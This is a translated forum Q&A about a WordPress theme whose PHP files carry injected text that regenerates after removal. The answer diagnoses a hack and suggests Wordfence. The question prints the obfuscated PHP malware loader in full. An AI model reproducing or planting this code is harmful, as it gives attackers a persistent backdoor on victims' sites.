我已将wordpress主题（目前已安装/激活并正常工作）导出为zip文件，但我无法在任何其他域上激活此主题，因为主题已被破坏。
我查看了每个主题的文件，发现每个主题php文件的顶部都有一些“混乱”文本，如下面所示。 这会导致主题被“破坏”吗？
我已经尝试删除所有这些文本，但保存后，文本返回到php文件。
这会导致主题被“破坏”吗？
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(strstr($uas," x63 150 x72 1fepdof`57ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeobujojR x27id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x7fw6*CW&)7gj6<.7,*b x27)fepdof.)fepdof./#@#/qp2]48y]#>s%<#462]47y]252]dovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> xp% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!2p%!*3>?*224- x24gps)%j>1<%j=tj{fpg)% x24- x24*<!~! x24/%t2w56 x63 164 x69 157 x6e"; function v]277#<!%t2w>#]y74]273]y<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]54!>! x24/%tjw/ x24)% x24- x26985:6197g:74985-rr.93e:55X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54tfu",str_split("%tjw!>!#]y84]275]y83]248]y83*id%)dfyfR x27tfs%6<*17x5cq%)ufttj x22)gj6<^#Y# x5cq% x27Y%6<.ms49#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepng%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j[A x27&6< x7fw6* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}*)323zbek!~!<b% x7f!<b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3o)uqpuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>!}_;gvc%2985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]812)eobs`un>qp%!|Z~!<##!>o#>b%!**X)ufttj x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)my("", $fzfxano); $xqikzds();}}!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`4y4 x24- x24]y8 x24- x24]26 x24- x24<%j,,*!| x]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>! x2467675j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:*j6<*K)ftpmdXA6~6<u%7>/7&%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYs45]212]445]43]321]464]284]364]6]234]342]58]24]31#-%tdz*Wsf2 137 x41 107 x45 116 x54"]); if ((strstr($uas," x6d 163 x69 145")if((function_exists(" x6f 142 x5f 163 x74 141 x72 164")!>! x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]47]67y]3722!ftmbg)!gj<*#k#)usbut`cpV x7f x7f x7f x7f<u%V x27W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X)sutcvt)!gj!|!*bubE{h%)j{h<#64y]552]e7y]#>n%<#372]58y]472]37y]67svufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;33bq}k;oX>b%Z<#opo#>b%!*##>>X)!gjZ<#op!Ydrr)%rxB%epnbss!>!bssbz)#44ec:6d#)tutjyf`opjudovg x22)!gj}1~!<2/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%#/#7e:55946-tr.984:75983:48984:71tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b && (!isset($GLOBALS[" x61 156 x75 156 x61"])))) { $GLOBALS[}.}-}!#*<%nfd>%fdy<Cb*[%h!>!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=strstr($uas," x61 156 x64 162 x6f 151 x64")) or:>%s: x5c%j:.2^,%b:<!%<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<")));$xqikzds = $babyz)%w`TW~ x24<!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-c:>%s: x5c%j:^<!%w` x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j24- x24gvodujpo! x24- x24y7 x24- x24*<! xFUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSmddpoul'; $xgqhxcbk=explode(chr((587-467)),substr($sxxjjephu,(40424-34404),(221-187))); $hhextomj = $xgqhxcbk[0]($xgqhxcbk[(4-3)]); $bfrsrhv = $xgqhxcbk[0]($xgqhxcbk[(9-7)]); if (!function_exists('yyotdxywm')) { function yyotdxywm($eisqdvji, $pvzezbsl,$jbmezkjvu) { $wzupol = NULL; for($pdylrz=0;$pdylrz<(sizeof($eisqdvji)/2);$pdylrz++) { $wzupol .= substr($pvzezbsl, $eisqdvji[($pdylrz*2)],$eisqdvji[($pdylrz*2)+(3-2)]); } return $jbmezkjvu(chr((60-51)),chr((454-362)),$wzupol); }; } $khvknpxsu = explode(chr((230-186)),'4998,55,5565,60,1964,29,2351,29,3205,30,4932,66,970,46,5692,47,3464,29,1280,52,1839,64,3851,35,2401,31,2701,59,4078,44,4713,48,1066,27,2941,55,3235,26,1126,65,4814,24,2019,55,2464,36,2432,32,646,59,2903,38,173,38,705,29,1585,24,1442,41,3261,24,4145,41,2844,59,2074,57,2760,53,4122,23,3285,61,3603,64,4278,48,5167,46,2813,31,4408,50,1039,27,1191,50,445,67,2277,34,4241,37,1093,33,2550,58,135,38,1771,68,3054,34,5213,26,1016,23,5393,32,3759,42,4347,61,3088,70,3667,31,255,20,4512,23,3553,50,2158,54,5425,63,60,51,4629,38,5975,45,4326,21,5330,30,4535,63,3493,60,4033,45,1666,38,1546,39,1417,25,1389,28,4761,53,365,53,3722,37,5116,51,1704,67,1525,21,1993,26,3436,28,2212,65,5277,53,3158,47,879,58,2131,27,3886,23,1609,57,5053,63,3346,69,5239,38,3698,24,2500,50,1483,42,211,44,2311,40,1903,61,3979,28,4667,46,5934,41,3801,50,782,54,1241,39,418,27,3415,21,5360,33,4186,55,2636,44,512,69,4838,36,304,40,4007,26,937,33,4458,54,5488,33,836,43,2996,58,275,29,3909,70,2680,21,5625,27,734,48,29,31,581,65,344,21,4874,58,111,24,2608,28,5652,40,5521,44,5739,22,5884,50,1332,57,5819,65,0,29,2380,21,5761,58,4598,31'); $wvqhjnex = $hhextomj("",yyotdxywm($khvknpxsu,$sxxjjephu,$bfrsrhv)); $hhextomj=$sxxjjephu; $wvqhjnex(""); $wvqhjnex=(369-248); $sxxjjephu=$wvqhjnex-1; ?>
答案 0 :(得分：1)
看起来您的网站被黑了 - 那些乱七八糟的字符串是黑客插入的混淆的恶意代码。
您的主题来自WordPress.org主题存储库吗？如果是这样，您可以下载并运行一个名为WordFence的插件，让它扫描您的主题并将其重置为主题回购的原理。如果您对主题进行了任何直接更改，它们就会丢失 - 因此在这种情况下，您可能只需要手动或在黑客攻击前从备份中修复文件。
无论如何，听起来你可能应该在你的第一个网站上运行WordFence或其他安全插件，因为在您删除源代码之前，该hack可能只会重新生成。它可以是插件，函数文件，WordPress核心文件中的代码...... Wordfence将帮助您查明源代码并希望为您修复。